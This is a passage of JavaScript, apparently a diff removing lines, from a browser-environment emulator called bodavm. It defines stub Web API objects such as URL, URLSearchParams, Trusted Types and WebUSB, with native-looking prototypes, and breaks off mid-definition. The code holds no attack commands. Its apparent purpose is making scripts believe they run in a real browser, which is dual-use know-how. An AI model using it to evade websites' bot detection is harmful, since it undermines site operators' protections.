-bodavm.memory.globalobj['TransitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TransitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TransitionEvent', "propertyName", {configurable:true, enumerable:true, get:function propertyName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "propertyName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransitionEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransitionEvent', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransitionEvent'].prototype, "TransitionEvent", "pseudoElement_get", arguments)}, set:undefined},'prototype'); - -// TreeWalker对象 -bodavm.memory.globalobj['TreeWalker'] = function TreeWalker(){if (!(this instanceof TreeWalker)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TreeWalker'], "TreeWalker"); -bodavm.toolsFunc.defineProperty('TreeWalker', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "whatToShow", {configurable:true, enumerable:true, get:function whatToShow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "whatToShow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "filter_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "currentNode", {configurable:true, enumerable:true, get:function currentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_get", arguments)}, set:function currentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "currentNode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "firstChild", {configurable:true, enumerable:true, writable:true, value:function firstChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "firstChild", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "lastChild", {configurable:true, enumerable:true, writable:true, value:function lastChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "lastChild", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "nextNode", {configurable:true, enumerable:true, writable:true, value:function nextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "nextSibling", {configurable:true, enumerable:true, writable:true, value:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "nextSibling", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "parentNode", {configurable:true, enumerable:true, writable:true, value:function parentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "parentNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "previousNode", {configurable:true, enumerable:true, writable:true, value:function previousNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TreeWalker', "previousSibling", {configurable:true, enumerable:true, writable:true, value:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TreeWalker'].prototype, "TreeWalker", "previousSibling", arguments)}},'prototype'); - -// TrustedHTML对象 -bodavm.memory.globalobj['TrustedHTML'] = function TrustedHTML(){if (!(this instanceof TrustedHTML)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedHTML'], "TrustedHTML"); -bodavm.toolsFunc.defineProperty('TrustedHTML', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedHTML', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedHTML'].prototype, "TrustedHTML", "toString", arguments)}},'prototype'); - -// TrustedScript对象 -bodavm.memory.globalobj['TrustedScript'] = function TrustedScript(){if (!(this instanceof TrustedScript)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScript'], "TrustedScript"); -bodavm.toolsFunc.defineProperty('TrustedScript', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedScript', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toString", arguments)}},'prototype'); - -// TrustedScriptURL对象 -bodavm.memory.globalobj['TrustedScriptURL'] = function TrustedScriptURL(){if (!(this instanceof TrustedScriptURL)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScriptURL'], "TrustedScriptURL"); -bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toString", arguments)}},'prototype'); - -// TrustedTypePolicy对象 -bodavm.memory.globalobj['TrustedTypePolicy'] = function TrustedTypePolicy(){if (!(this instanceof TrustedTypePolicy)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicy'], "TrustedTypePolicy"); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createHTML", {configurable:true, enumerable:true, writable:true, value:function createHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScript", {configurable:true, enumerable:true, writable:true, value:function createScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScript", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScriptURL", {configurable:true, enumerable:true, writable:true, value:function createScriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScriptURL", arguments)}},'prototype'); - -// trustedTypes对象 -bodavm.memory.globalobj['trustedTypes'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['trustedTypes'].__proto__=bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype; - -// URL对象 -bodavm.memory.globalobj['URL'] = function URL(){if (!(this instanceof URL)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); -bodavm.toolsFunc.defineProperty('URL', "createObjectURL", {configurable:true, enumerable:true, writable:true, value:function createObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments)}}); -bodavm.toolsFunc.defineProperty('URL', "revokeObjectURL", {configurable:true, enumerable:true, writable:true, value:function revokeObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "revokeObjectURL", arguments)}}); -bodavm.toolsFunc.defineProperty('URL', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "searchParams", {configurable:true, enumerable:true, get:function searchParams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "searchParams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments)}},'prototype'); - -// URLPattern对象 -bodavm.memory.globalobj['URLPattern'] = function URLPattern(){this._boarg= new bodaobj.window.URLPattern();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLPattern'], "URLPattern"); -bodavm.toolsFunc.defineProperty('URLPattern', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "username_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "password_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hostname_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "pathname_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "search_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "hash_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "exec", {configurable:true, enumerable:true, writable:true, value:function exec (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "exec", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URLPattern', "test", {configurable:true, enumerable:true, writable:true, value:function test (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLPattern'].prototype, "URLPattern", "test", arguments)}},'prototype'); - -// URLSearchParams对象 - -bodavm.memory.globalobj['URLSearchParams'] = function URLSearchParams(){this._boarg= new bodaobj.window.URLSearchParams();this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URLSearchParams'], "URLSearchParams"); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "sort", {configurable:true, enumerable:true, writable:true, value:function sort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "sort", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "toString", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('URLSearchParams', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URLSearchParams'].prototype, "URLSearchParams", "values", arguments)}},'prototype'); - - -// USB对象 -bodavm.memory.globalobj['USB'] = function USB(){if (!(this instanceof USB)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USB'], "USB"); -bodavm.memory.globalobj['USB'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['USB'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('USB', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "getDevices", {configurable:true, enumerable:true, writable:true, value:function getDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "getDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USB', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USB'].prototype, "USB", "requestDevice", arguments)}},'prototype'); - -// USBAlternateInterface对象 -bodavm.memory.globalobj['USBAlternateInterface'] = function USBAlternateInterface(){if (!(this instanceof USBAlternateInterface)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBAlternateInterface': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBAlternateInterface'], "USBAlternateInterface"); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "alternateSetting", {configurable:true, enumerable:true, get:function alternateSetting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "alternateSetting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceClass", {configurable:true, enumerable:true, get:function interfaceClass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceClass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceSubclass", {configurable:true, enumerable:true, get:function interfaceSubclass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceSubclass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceProtocol", {configurable:true, enumerable:true, get:function interfaceProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "interfaceName", {configurable:true, enumerable:true, get:function interfaceName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "interfaceName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBAlternateInterface', "endpoints", {configurable:true, enumerable:true, get:function endpoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBAlternateInterface'].prototype, "USBAlternateInterface", "endpoints_get", arguments)}, set:undefined},'prototype'); - -// USBConfiguration对象 -bodavm.memory.globalobj['USBConfiguration'] = function USBConfiguration(){if (!(this instanceof USBConfiguration)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConfiguration': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConfiguration'], "USBConfiguration"); -bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationValue", {configurable:true, enumerable:true, get:function configurationValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBConfiguration', "configurationName", {configurable:true, enumerable:true, get:function configurationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "configurationName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBConfiguration', "interfaces", {configurable:true, enumerable:true, get:function interfaces (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConfiguration'].prototype, "USBConfiguration", "interfaces_get", arguments)}, set:undefined},'prototype'); - -// USBConnectionEvent对象 -bodavm.memory.globalobj['USBConnectionEvent'] = function USBConnectionEvent(){if (!(this instanceof USBConnectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBConnectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBConnectionEvent'], "USBConnectionEvent"); -bodavm.memory.globalobj['USBConnectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['USBConnectionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('USBConnectionEvent', "device", {configurable:true, enumerable:true, get:function device (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBConnectionEvent'].prototype, "USBConnectionEvent", "device_get", arguments)}, set:undefined},'prototype'); - -// USBDevice对象 -bodavm.memory.globalobj['USBDevice'] = function USBDevice(){if (!(this instanceof USBDevice)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBDevice'], "USBDevice"); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMajor", {configurable:true, enumerable:true, get:function usbVersionMajor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMajor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionMinor", {configurable:true, enumerable:true, get:function usbVersionMinor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionMinor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "usbVersionSubminor", {configurable:true, enumerable:true, get:function usbVersionSubminor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "usbVersionSubminor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceClass", {configurable:true, enumerable:true, get:function deviceClass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceClass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceSubclass", {configurable:true, enumerable:true, get:function deviceSubclass (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceSubclass_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceProtocol", {configurable:true, enumerable:true, get:function deviceProtocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceProtocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "vendorId", {configurable:true, enumerable:true, get:function vendorId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "vendorId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "productId", {configurable:true, enumerable:true, get:function productId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMajor", {configurable:true, enumerable:true, get:function deviceVersionMajor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMajor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionMinor", {configurable:true, enumerable:true, get:function deviceVersionMinor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionMinor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "deviceVersionSubminor", {configurable:true, enumerable:true, get:function deviceVersionSubminor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "deviceVersionSubminor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "manufacturerName", {configurable:true, enumerable:true, get:function manufacturerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "manufacturerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "productName", {configurable:true, enumerable:true, get:function productName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "productName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "serialNumber", {configurable:true, enumerable:true, get:function serialNumber (){return 